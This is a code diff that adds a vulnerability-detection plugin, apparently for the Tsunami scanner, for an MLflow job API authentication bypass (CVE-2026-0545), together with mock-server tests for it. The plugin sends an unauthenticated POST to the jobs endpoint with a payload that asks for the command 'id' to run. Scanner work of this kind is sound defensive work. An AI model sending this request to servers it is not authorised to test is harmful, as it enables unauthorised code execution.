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Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "MLflow_CVE_2026_0545"
author: "dyeddala"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2026-0545"
}
severity: CRITICAL
title: "MLflow Job API - Authentication Bypass"
description: "MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions."
recommendation: "Update to the latest version with fixed authentication enforcement on job endpoints."
related_id: {
publisher: "CVE"
value: "CVE-2026-0545"
}
}

config: {}

###########
# ACTIONS #
###########

actions: {
name: "fingerprint_mlflow"
http_request: {
method: GET
uri: "/"
response: {
http_status: 401
expect_any: {
conditions: [
{ body: {} contains: "mlflow" }
]
}
}
}
}

actions: {
name: "mlflow_job_api_bypass_exploit"
http_request: {
method: POST
uri: "/ajax-api/3.0/jobs/"
headers: [
{
name: "Content-Type"
value: "application/json"
}
]
data: "{\"job_name\":\"run_task\",\"params\":{\"command\":\"id\"}}"
response: {
http_status: 200
expect_all: {
conditions: [
{
body: {}
contains: "\"job_id\":"
},
{
body: {}
contains: "\"job_name\":"
}
]
}
}
}
}

#############
# WORKFLOWS #
#############

workflows: {
actions: [
"fingerprint_mlflow",
"mlflow_job_api_bypass_exploit"
]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "MLflow_CVE_2026_0545"
}

########
# TESTS #
########

tests: {
name: "whenVulnerable_returnsTrue"
expect_vulnerability: true
mock_http_server: {
mock_responses: [
{
uri: "/"
status: 401
body_content: "You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate."
},
{
uri: "/ajax-api/3.0/jobs/"
status: 200
headers: [
{ name: "Content-Type" value: "application/json" }
]
body_content: "{\"job_id\":\"12345\",\"job_name\":\"run_task\",\"status\":\"RUNNING\"}"
}
]
}
}

tests: {
name: "whenNotVulnerable_returnsFalse"
expect_vulnerability: false
mock_http_server: {
mock_responses: [
{
uri: "/"
status: 401
body_content: "You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate."
},
{
uri: "/ajax-api/3.0/jobs/"
status: 401
headers: [
{ name: "Content-Type" value: "application/json" }
]
body_content: "{\"error_code\":\"UNAUTHENTICATED\",\"message\":\"Authentication required\"}"
}
]
}
}

tests: {
name: "whenNotMlflow_returnsFalse"
expect_vulnerability: false
mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 200
body_content: "Hello world"
}
]
}
}